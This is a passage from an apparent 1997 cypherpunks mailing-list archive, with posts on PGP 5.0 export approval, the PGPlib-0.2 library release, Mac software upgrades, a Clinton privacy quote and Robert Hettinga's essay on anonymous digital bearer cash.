pop up DOS subsystems to run.  (PI was very nice with ViaCrypt 2.7.1,
which let everything run as communicating Windows programs.)

Using the libraries also helps us trust the security -
it doesn't mean the GUIware doesn't also send a copy of your passphrase
to aldrich@nsavax.us, but it does let you build interoperable code you
can trust, and it makes it easier to verify that at least the
basic crypto routines are solid.

[* Perhaps I'm naive, and I must confess to not finishing all 
4 volumes of code, but I'd _hope_ they did the right thing...]






#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 30 May 1997 16:23:44 +0800
To: Dave Del Torto <ddt@pgp.com>
Subject: Re: Newsflash: PGP approved for export of strong crypto
In-Reply-To: <v04000223afb3866a7a2f@[205.180.136.26]>
Message-ID: <3.0.1.32.19970530010005.007679f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Re: Newsflash: PGP approved for export of strong crypto
To: ddt@pgp.com, cypherpunks@toad.com

Hi, Dave!   Thanks for forwarding the press release to various lists.
(Could you also forward this along to Mike Nelson?  The press release
didn't include his email :-)  I was interested in a couple of issues.

1) Cool - especially doing it without GAK!  This kind of thing is a 
major wedge in the export control regime, even if it is mainly for the
big players first.

2) Are there explicit terms a company has to agree to to be
allowed to export PGP to its non-US subs/branches, or is it
just negotiation with the State Department?  Does it take excessive
expensive legal paperwork, or is it something just about anybody could do?
Could Bill Stewart Consulting (i.e. just me) meet the requirements?

After a company is approved, are there special record-keeping requirements,
or could I just email or registered-US-Snail or DHL-mail a copy to 
my branch in Japan or the UK?  (One of the interesting cases for me is
subsidiaries that are joint ventures with other companies such as
non-government-owned foreign telcos.)

3) Your press release said:
>   In order to provide only the strongest encryption software, 
>   Pretty Good Privacy publishes all of its encryption source code 
>   and algorithms for extensive peer review and public scrutiny. 
Does this mean that the non-encryption parts of your code probably
won't be reviewed, at least in public?  


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM46IIfthU5e7emAFAQEi4wIAnnS3BM1lZuw179QNq7unrr9IIBAEUI7e
ww46TBni27NUL9F5vN54L2HYTlg15Je3hfMTPKcSQn6abAvT12e+Vg==
=huGZ
-----END PGP SIGNATURE-----

BTW, the 5.0 plug-in to Eudora is nice!  I'm having a little trouble guessing
when it's going to include my signature block and when it's not,
but so far I like it, and the Win95 PGPtray widget was also convenient.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Fri, 30 May 1997 21:09:58 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Anonymizer upgrades
In-Reply-To: <LH1H8D40w165w@bwalk.dm.com>
Message-ID: <7036.864996545@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain


|Just what is your affiliation with C2Net, boy?

Sonny, go learn some manners around your betters.

--
Academic politics is the most vicious and bitter form of politics,
because the stakes are so low.
		-- Wallace Sayre





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 30 May 1997 19:24:57 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Libraries!  Partial Solution to PGP Windows Wars and Source  Code
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970530070318.035fc7ac@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:33 AM 5/30/97 -0700, Bill Stewart wrote:

>- PGP 5.0 with fancy user interface for Win32 only.

Note that 4.5 is Win/32 only but 5.0 is also available for (the latest) 
Macintosh OS.  [So "latest" that Tim May can't run it.]  

DCF

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM46z9YVO4r4sgSPhAQGpYgQAhim1CSTGzPu1y9A2f5fgITNLa3g1uZGh
nwxemQJ08cwQQJYMjZfXIbXZO9QrhIByryT5d94fzvxo9vr9K8OuukKSf6drVX+b
pHPI0wsrV4zv7tTt1b2Gsf+P8h0haY+tTb/tu7F+hCGvvXO1B2bpYM1slTdWuznh
5ZK4Xyud/pk=
=E6ZL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 30 May 1997 23:29:17 +0800
To: cypherpunks@algebra.com
Subject: Comments on the Macintosh
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <v03102800afb499ca3f5b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:03 AM -0700 5/30/97, frissell@panix.com wrote:

>At 12:33 AM 5/30/97 -0700, Bill Stewart wrote:
>
>>- PGP 5.0 with fancy user interface for Win32 only.
>
>Note that 4.5 is Win/32 only but 5.0 is also available for (the latest)
>Macintosh OS.  [So "latest" that Tim May can't run it.]
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Newsflash: With the prodding and help of Vinnie M., I took a day last week
and installed the latest versions of all of my major applications.  I
successfully ran the installation on my bootleg copy of PGP 5.0 (obtained
from my friendly spy), but have not yet spent time integrating it with
Eudora Pro 3.1, which I understand is possible.

(Please: No helpful suggestions. All of the information I need to do this
is apparently contained in the docs...I just haven taken the time off from
doing other things to do this.)

For those who know and care: System 7.5.3, MT Newwatcher 2.3.1, Eudora Pro
3.1, Netscape Navigator Gold 3.01, and various UUdecoders, helper apps, etc.

To again paraphrase my .sig: "There's something wrong when it takes a day
or more to upgrade apps to be compatible and there's no visible
productivity improvement."

Actually, I used to follow the Macintosh technical stuff more closely. I
read "MacWorld" and "MacUser" cover to cover every month, I sometimes read
"Mac Technical Journal" and other technical sources, I messed around with
ResEdit, had a couple of volumes of "Inside Macintosh," had C and C++
avialable, and all that stuff. Upgrading from one version of a system to
another was not too stressful.

However, in the last several years, probably echoing the path many of you
have taken, my focus has shifted to a more "platform-agnostic" path,
centered on the Net and Web and on writing messages and participating in
Net virtual communities (like Cypherpunks).  I just want my main Internet
apps to keep working as they have, and don't much care about Apple's stuff
like "CyberDog" and PowerQuickToolsPro, or whatever.

Sadly, the Mac OS is now very bloated, and I no longer have the time or
interest to read the details and upgrade the many apps to the minor rev
levels needed to ensure compatibility. (So sue me.) Once a "constellation"
of apps is running smoothly, I am reluctant to change any of them unless
the benefits are very clear.

(And I could see no significant changes in going from System 7.1.3 to
7.5.3...the Mac OS is of course still missing basic OS features such as
multitasking and memory protection.)

Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll
pass on this for now.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 30 May 1997 21:37:55 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Libraries!  Partial Solution to PGP Windows Wars and Source Code
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <199705301317.IAA02117@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>, on 05/30/97 
   at 12:33 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>- PGP 3.0 and 3.0.1 pre-alpha code, including libraries,
>	which have been published in book form and on the net.
>	For portability and compatibility, the most important things
>	are the algorithms and file formats used.

Hi Bill,

Could you point me to a location where 3.0 code is available on the net? I
would be very intrested in this. Also have you heard any word on the
release of source code for PGP Phone? I know that the MIT download site
mentioned that this would be made available but I have yet to see anything
(not intrested in the GUI stuff but would like to see the crytpo & data
compression algorithims).

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Turn your 486 into a Gameboy: Type WIN at C:\>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM47UU49Co1n+aLhhAQGxegQArqfIYFL975P4obAnLhJHlKfD4LETVQaR
7uToPOeB85akzKV9Q5Ut+E6sjzrnKFlujBrkRt7jZYXd9mPXty5wSVioxoNDuUQM
qrtRvCvjlW0R/ikoVMAW6NVU+k0JohmGR1l6uRI0ZBdRD347Ll4yQrwiAGe6165B
O0VlxRUwgUY=
=28u/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 30 May 1997 23:59:52 +0800
To: cypherpunks@toad.com
Subject: Clinton on privacy and the Internet
Message-ID: <Pine.GSO.3.95.970530083755.22213G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 29 May 1997 22:04:03 -0500
From: Andrew Shapiro <ashapiro@interport.net>
To: telstar@wired.com, declan@well.com
Subject: Clinton on privacy

Todd and Declan:

I assume you've both seen this quote about privacy (below) from Clinton's
commencement speech last week.  Declan, you might want to put up on the FC
list -- if you haven't already.

Cheers,
Andrew

***
From: http://www.epic.org/privacy/laws/clinton_speech_5_18_97.html#privacy

              Third, technology should not be used to break down the
              wall of privacy and autonomy free citizens are guaranteed in
a free
              society.  The right to privacy is one of our most cherished
freedoms.
              As society has grown more complex and people have become more
              interconnected in every way, we have had to work even harder to
              respect the privacy, the dignity, the autonomy of each
individual.

                           Today, when marketers can follow every aspect of our
              lives, from the first phone call we make in the morning to
the time
              our security system says we have left the house, to the video
camera
              at the toll booth and the charge slip we have for lunch, we
cannot
              afford to forget this most basic lesson.

                           As the Internet reaches to touch every business
and every
              household and we face the frightening prospect that private
              information -- even medical records -- could be made instantly
              available to the world, we must develop new protections for
privacy in
              the face of new technological reality.  (Applause.)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 30 May 1997 22:25:26 +0800
To: cypherpunks@toad.com
Subject: Re: relevance to Hayek research?
Message-ID: <v0302098cafb48a428199@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 19 May 1997 11:21:28 -0400
To: Gregransom@aol.com
From: Robert Hettinga <rah@shipwright.com>
Subject: Re: relevance to Hayek research?
Cc: austrianecon@agoric.com, VPostrel@aol.com
Bcc:
X-Attachments:

Greg Ransom just set my subscription to Hayek-L to "review" because of the
DCSB announcement I sent both there and to AustrianEcon. Since I figure
that this posting probably won't see the light of day on Hayek-L, I'll just
send it here to AustrianEcon instead. :-). Of course, I'm not complaining,
really. Greg can do anything he wants with Hayek-L. I mean, he owns it; the
internet being alloidial, and all. But, I thought I'd clear the air here a
little bit about why I thought the June DCSB meeting would be useful to
people both on AustrianEcon, and, even :-), Hayek-L.

At 7:29 pm -0400 on 5/17/97, Gregransom@aol.com wrote:

>  Can you motivate this posting to the Hayek-L list for
> me?

Wow. I feel like a method actor or something. Say hello to Mr. Stanislawski
for me, would you, Greg?

> It is important that all posting to the
> Hayek-L list be relevant to Hayek and his work, appropriate for the research
> community, and not overly promotional or commercial in nature, nor in the
> vein of advertising.

Yeah. Anything that smacks the least bit of capitalism should be strictly
avoided in such an academic setting. Hey, even *I* understand that one.
;-). If it's any consolation, DCSB really *is* just a bunch of people who
get together to have lunch on first Tuesday of the month. It's not like I'm
leveraging the old Harvard Club membership to create a massive personal
fortune, or something. :-).


I do confess that I sent the announcement to both place, and mostly on
impulse, because I thought people in the Austrian economics trade would
want to hear about a relatively unique economic phenomenon on the net,
particularly as it reveals interesting things about how the net's
decreasing the "latency" of money changes, or at least better defines, all
kinds of transaction processes, and, maybe, the underlying economics of
same.


Not only do the type of instantaneous, continuous, digital cash-settled
recursive auctions that Fred Hapgood is going to talk about at the June 3rd
DCSB meeting have the potential to remove any need for copyright law on the
internet, which I'll get to in a moment, but they're the tip of the iceberg
for something waaay bigger.  The technology behind the digital cash these
recursive auctions will eventually use is all by itself a nation-state
killer. In the long run, anyway.

<and now, for a few blatantly commercial messages...>

Since the strongest form of David Chaum's "ecash"
<http://www.digicash.com/> digital bearer certificate transaction
settlement protocol doesn't require book-entries, it doesn't require the
force monopoly of a nation-state to backstop its transaction clearing
process. There's a quote which might be useful here. It's from FC97, the
first conference on Financial Cryptography, which we held in Anguilla this
February and (plug, plug) a conference I had the good fortune think up ;-)
<http://www.offshore.com.ai/fc97>. Doug Barnes, a fellow cypherpunk and now
the Marketing VP for C2Net, a pioneering financial cryptography company in
Berkeley <http://www.c2.net/>, said, during the legal session, "It's a bad
idea when your internet payment protocol, in one of its terminating steps,
says, 'and then you go to jail'".  See my web page,
<http://www.shipwright.com/>, for more details about this kind of stuff if
you're interested. Also, see the debate I had in March with someone from
the American Banking Association about the subject of digital bearer
certificate technology. It's on HotWired's Brain Tennis site,
<http://www.braintennis.com/>. Remember that, due to to the structure of
the debate, he got in the last word, though. :-).

<we now return you to the heresy trial, currently in progress>


Now you can see why the war cry for most of my cypherpunk crypto-anarchist
financial cryptography developer friends is "write software, not laws."
That sounds pretty Hayekian, I'd say.


Last September I was on the law enforcement panel, of all things, at the
Institute, nee Office (go, Newt!), of Technology Assessment's "Symposium on
the Regulation of Digital Cash". This thing was held in a conference room
deep in the bowels of the Capitol Building. Yech. Talk about the lion's
den. Anyway, they had me speaking, dead last in the whole symposium,
immediately after the Justice Department's brand-new, wet-behind-the-ears
and freshly-lobbied-for-by-the-EFF Assistant Attorney General for "computer
crime", whatever that is. And, before him, and more to the point for our
discussion here, spoke the Assistant Director of FinCEN. FinCEN stands for
the Financial Crimes Enforcement Network, a truly amazing government agency
which has the ability to tell anyone with a credit card or checking account
not only what his current bank balance is, but, through perfectly legal
"administrative requests" to his bank, what his, say, total clothing and
grocery expenditures were last year, categorized by store. Couple that with
those wonderfully subpoenable scanner cards at your supermarket, and I
would say that Orwell almost has his revenge with us, eaten very cold
indeed, for being so far behind schedule with '1984'.

Anyway, there I was, at ground zero, in the very belly of the beast, and,
if I do say so myself, I was a wonder to behold. I scared them so bad that
the everyone's eyes actually bugged out. Their jaws really bounced on the
floor a few times in true Tex Avery fashion. Proving, once again, that
cartoon physics really is the only kind of science they allow inside the
Washington Beltway.

I told the assembled unholy host of legislative aides, beltway bandits, and
various other corridor-crawling symbionts to Le Infame Moderne that David
Chaum's blind signature patent created  fully anonymous digital cash
(issued by private free banks, mind you), something they vaguely knew
already and were gathered there to try to stop. But, even more frightening
to statists everywhere, it was quite a simple matter, really, to use the
same cryptographic protocol to create anonymously held digital *bearer*
forms of any negotiable instrument you could care to imagine: bonds,
stocks, futures, or any derivative thereof. I told them Perry Metzger's
joke about "Gold Denominated Burmese Opium Futures". That was good for a
titter or two of nervous laughter...

Remember, of course, that, and increasingly so, most assets are financial,
and thus completely convertable to digital bearer form if the transaction
protocol for them turns out to be significantly cheaper than the book-entry
settlement methods of the status quo. After all, it wasn't too long ago in
financial history that paper bearer certificates were the norm. There's a
lot of cultural memory still there. The word "coupon" as a synonym for bond
interest is a perfect case in point.

Then came the real bombshell. The guy from FinCEN absolutely agreed that if
the transaction costs of digital bearer certificates proved to be an order
of magnitude (or, say, three) lower than book entries, which I claim they
will be (without proof, of course, just yet ;-)),  FinCEN would be pretty
much out of business. The whole "crime" of money laundering would become
the equivalent of a "legislated" value for Pi. An example which, I might
add, proves Avery's Laws of Cartoon Physics, um, reigns, in legislative
bodies the world over, and not just inside the Beltway.

"Actually, it's worse than that, ladies and gentlemen," I said, quoting
myself. "Virtually *all* of the current tax infrastructure is based upon
book-entries and the necessity of audit trails to verify tax compliance:
capital gains, income and sales taxes, even import duties. Those audit
trails are there primarily to prevent non-repudiation in the execution of a
transaction protocol, that is, all the double-entry bookeeping between the
buyer and the seller and the financial intermediary(ies) underwriting the
trade. Those audit trails are *not* there to enforce taxes, believe it or
not." They didn't get the point, so I drove it home. I said, "Without the
requirement to prevent non-repudiation (and, I ask you, when was the last
time you had a cash transaction fail to clear?), the marginal cost of tax
compliance will become unsustainable over time. Uncle, and his relations
elsewhere, are all going to have to figure out something else to tax, in
other words. Now, *what*, exactly, do you need all that money for?"

I had all the right people standing up and yelling at me at question time,
so I knew I was on to something. :-).


So, somewhere, Greg, I think Dr. Hayek must be laughing out loud.

That's why this kind of stuff might be important to your readership.


Oh. Yeah. I forgot. The actual topic of this missive. What's a "recursive
auction"?

Jason Cronk, who subscribes to AustrianEcon, by the way, did a talk on them
at the rump-session of, you guessed it, FC97 in Anguilla. Ian Grigg, a
major free banking fan, and also a subscriber, presented an idea which is
exactly the obverse(?) for *his* paper, which was accepted for the main
conference session. Ian's paper dealt with a way to organize the "buy" side
of the same process.  Springer Verlag will be publishing the conference
proceedings sometime this summer, and I'll announce that here, if there's
interest.

Anyway, a recursive auction market, for lack of a better analogy, is kind
of like institutionalized software piracy. I create something new and
digital. I go on the net, and I sell the first copy to the highest bidder.
Then I sell the next copy to the next bid, which, of course, is probably
lower than the first. I keep on doing this until people stop bidding. Of
course, everyone who buys what I'm selling can turn right around and sell
it to someone else in turn, probably at a lower price than they bought it
from me.  This is the only instance I can think of where buying high and
selling low makes you money. ;-). Well, on an item-price basis, anyway.
Obviously, the total return is higher on the sell side than the buy side,
or nobody would be foolish enough to buy anything from you for resale.

Just by forgetting the whole quasimystical issue of "rights" to electronic
intellectual property (which, like the current "intellectual capital"
craze, is, at best, a polite regulatory fiction), timeliness of content is
rewarded, as is novelty, which keeps people who create new stuff right on
cranking it out. A person who's invested in a big switch and bandwidth, or
who has the most valuable use of any other kind, can afford to pay more for
earlier, "fresher", copies of something than someone without the same
net.resources. Because, for instance, in the case of the person with all
the bandwidth, he can resell copies faster than anyone else. A person who
doesn't need something badly can wait a while and pick it up at a lower
price after the initial feeding frenzy's over.  Finally, the person who
continually invents something new gets paid as soon as something he makes
becomes usable to anybody at all. The things which get sold can be anything
from a jotted down brainstorm, to the first draft of a novel, to more
perishible "content", like an hour of teleoperated surgery, say.

So, for works of art, whatever that means, copyright law becomes
superfluous. More to the point, given sufficient attention to such matters,
*all* parties in recursive auction transactions can be completely
anonymous, and everything still works. I mean, when was the last time you
had to produce identification for a cash transaction? Okay, besides at the
bank, and even then for deposits greater than $10k. That's the very
exception which proves the rule, obviously. Cartoon physics comes to
banking. Remember, again, book-entries cause book-entry taxation and
regulations, not vice versa.


Anyway, whether at the increasingly hysterical legislative cartoons, or
because of the now sandy foundations of the nation state, again, Hayek,
somewhere, *must* be laughing, Greg.



Cheers,
Bob Hettinga
Moderator,
The Digital Commerce Society of Boston
(among other things...)



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 30 May 1997 22:16:32 +0800
To: cypherpunks@toad.com
Subject: PGPlib-0.2 available
Message-ID: <v0302098dafb48a60888b@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: pgplib-announce@petium.rhein.de
Subject: PGPlib-0.2 available
Date: Fri, 30 May 1997 15:06:42 +0200
From: Tage Stabell-Kulo <tage@acm.org>
Reply-To: tage@acm.org
Sender: pgplib-announce-owner@petium.rhein.de
Precedence: list

-----BEGIN PGP SIGNED MESSAGE-----


Announcing PGPlib-0.2
=====================

We are pleased to announce a new verison of PGPlib.  You can obtain
the newest version (that is 0.2 as of today) from

	ftp://dslab1.cs.uit.no/pub/PGPlib.tar.gz

In short, you will find a library that enables your software to read
and write "packages" which can be decrypted and/or verified by means
of PGP.  In other words, you can incorporate PGP compatibility in your
software without having to run PGP.

When you uncompress and un-tar the file, you will obtain four files in
the CURRENT directory.  These files are

	README			Describing how to preceed
	PGPlib-0.2.tar		The library, manual pages and so on
	PGPlib-0.2.tar.asc	A detached signature for verification
	pubkey.asc		My public key (again, for verification)

It is described in README how to verify the release you have obtained,
how to unpack, what you will actually get when you unpack, and so on.

What is there for you
=====================

PGPlib is a library that lets you generate (and manipulate) PGP
packets without having to run PGP.  In particular there is code to
generate and understand the following types of PGP packets:

   - Literal with filename, mode, etc.  You can create literate
     packages from files, or from buffers, and create files from
     literate packets;
   - Convential encrypted (IDEA with Zimmermann's context sensitive
     feedback).  The library can both read (decrypt) and write
     (encrypt) convential packets (in PGP format);
   - Armor.  You can (de)armor a buffer or a file into a buffer or a
     file;
   - UserID packets are read and written in a variety of formats;
   - Keys can be obtained from a database (which is provided) or by
     parsing keyrings.  Keys can be kept in buffers or on files;
   - You can maintain a PGP public-key database (I use this library to
     maintain a database with ~40.000 keys).  There is code to use DBM
     as supplied from Berkeley or, if you prefer, GDBM from GNU;
   - You can verify RSA signatures on public keys and on buffers
     (files);
   - You can encrypt data (file or buffer) with public keys.  The DEK
     is naturally written as a separate packet;
   - With a secret key you can sign other keys and buffers.  Keys can
     be read from databases or files; they are decrypted on the fly.

We have made a small program that will (de)armor anything, a parser to
parse PGP files (including decryption and so on), a shell to
manipulate a keydatabase, a keyserver to run on top of such a
database, a program to verify signatures on keys and/or files, a
program to split keyrings in smaller parts and a program that will
sign files for you.  You will find all these (and more) in the
applications/ directory.  None of these uses PGP, the library provides
all the functionality you need.

What you need
=============

   - You must have the SSLeay library as I have not implemented any
     cryptographic functionality; I hope SSLeay is a good choice. I
     did not major in mathematics and can thus not judge the quality
     of their work, although it looks solid (to me).  I link with their
     version 0.6.6.  I rely on SSLeay for great many things, in
     particular their BIGNUMs, RSA encryption and IDEA.  I use
     "fprintf(stderr" when problems occur, but integration into the
     SSLeay "error-system" might happen.  You can obtain SSLeay from:
        * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/ - SSLeay source
        * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSLapps/ - SSL applications
        * http://www.psy.uq.oz.au/~ftp/Crypto/ssl.html - SSLeay Programmer
          Reference
     SSLeay is quite large and I only use a fraction of it.  On the
     other hand, SSLeay seems to be well maintained and their
     crypto-library might very well shrink or become more modular as
     time passes.


Your Feedback
=============

   Your feedback is solicited.  Peter Simons <Peter.Simons@gmd.de> has
   created a mailinglist for PGPlib.  To subscribe, send an e-mail to
   the address pgplib-dev-request@petium.rhein.de and write the
   command SUBSCRIBE into the BODY. If you want to be subscribed under
   a different address than the one you're mailing from, you can also
   use SUBSCRIBE yourname@somewhere.else to do the trick.  To post to
   the list, send an e-mail to pgplib-dev@petium.rhein.de as usual.

   There is also an pgplib-announce@petium.rhein.de.  Subscribe by
   sending an e-mail to pgplib-announce-request@petium.rhein.de with
   SUBSCRIBE in the body.  The latter list will be very low-volume.

   If you write a nice application based on this library (the ultimate
   feedback :-), please feel free to send it to  me and I will include
   it in the next release;


Where to get PGPlib
===================

	ftp://dslab1.cs.uit.no/pub/PGPlib.tar.gz

COPYRIGHT  (yum, yum)
=========

   The library and included applications are all available under
   "Berkely style" copyright terms.  Basically, this means that it is
   FREE for commercial and non-comercial use, and that you can do
   almost anything with the code.  The only thing you can not do is to
   say that you wrote it.  See the file COPYING for details.


Let's go to work
================

   I hope you like it, that you find is useful, that you will find no
   bugs, and that you will provide valuable feedback by means of the
   mailing list.

      Tage Stabell-Kul¯
      Castelmaggiore, Italy
      30. May 1997


////        Tage Stabell-Kuloe         | e-mail: tage@ACM.org          ////
/// Department of Computer Science/IMR | Phone : +47-776-44032         ///
// 9037  University of Tromsoe, Norway | Fax   : +47-776-44580         //
/       "'oe' is '\o' in TeX"          | URL:http://www.cs.uit.no/~tage/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: latin1
Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface

iQCVAwUBM47QfAMzZ6tx+9RpAQFHJQQAmsrh3sqgeRdOFscXWAb7/bV5ivdgnB4+
IpgGpGPMhNYfAzDJvz2rdvt1Z38NhLjOHOTEl+RhKGUGmc7cDXiaAE38Vh3OJIPu
FijHtMgr++GdxZS5/WvcUxlvvMQjyjDaX84eG0clG1djYizMzR+7HwsIaaJeLtOb
wlBORx01NRo=
=Q5Ed
-----END PGP SIGNATURE-----


------------------------------------------------------------------------------
			  PGP Library Announcements

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 30 May 1997 22:20:39 +0800
To: cypherpunks@toad.com
Subject: The Bible Code
Message-ID: <1.5.4.32.19970530135617.00858be0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Published today with great fanfare, "The Bible Code"
describes the fruits of three Israeli mathematicians in
decrypting hidden messages in the Bible by textual
analysis algorithms. Blurbs claim that the work passed
peer review for publication in a math journal a few
years back, was confirmed by "a US Defense Department
code-breaker" and predicted the assassinations of
JFK, RFK, Sadat and Rabin.

The NYT reported on the fanfare a few days ago and
quoted some who claimed that the Israelis' claims were
examined and faulted when first published, that the book's bunkum, 
and that if enough analysis is done on any text, any message 
can be found -- holy writs being perdurable candidates.

Even so, are any here familiar with the Israelis' work?

Better, is this book the first of many to come to celebrate the
cook-ups of codes and cyphers and algorithmic chefs? Is a 
film in the works, or, best, a Seinfeld of 0s and 1s?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 31 May 1997 01:49:41 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong when I'm a felon under an increasing number of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: <19970530102450.17269@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 30, 1997 at 11:49:19AM -0400, Rabid Wombat wrote:
> > 
> >   A major nail in the coffin of Justice for any accused in the U.S.
> > 
> > was when the justice system promoted the concept of guilt by virtue
> > 
> > of "circumstantial" evidence to the point where people can now be
> > 
> > convicted as a result of speculation rather than evidence. Prosecutors
> > 
> > now seem to need only to convince the sheeple that it was "possible"
> > 
> > for the defendant to have commited the crime and that circumstantial
> > 
> > evidence points *only* to the accused.
> > 
> 
> Yeah, right. Must be how O.J. got convicted in criminal court. Ooops - 
> just remembered that he walked. Maybe Bell can beat the wrap with a good 
> stiff-arm and a few Hertz commercials ...

I don't understand the animus against circumstantial evidence, 
frankly.  Some circumstantial evidence is extremely good evidence.  
If anything, eyewitness accounts are vastly overrated.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 31 May 1997 01:43:11 +0800
To: cypherpunks@algebra.com
Subject: Re: Comments on the Macintosh
In-Reply-To: <3.0.1.32.19970530003356.00756ee0@popd.ix.netcom.com>
Message-ID: <19970530102942.06733@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 30, 1997 at 08:15:24AM -0700, Tim May wrote:
[...]
> Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll
> pass on this for now.
> 
> --Tim May

You should upgrade to Linux.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 31 May 1997 02:19:56 +0800
To: cypherpunks@toad.com
Subject: How much you lose under Social Security -- socialsecurity.org
Message-ID: <Pine.GSO.3.95.970530110010.8489F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 30 May 1997 10:59:17 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: How much you lose under Social Security -- socialsecurity.org

I'm over at the National Press Club now, just came from a Cato Institute
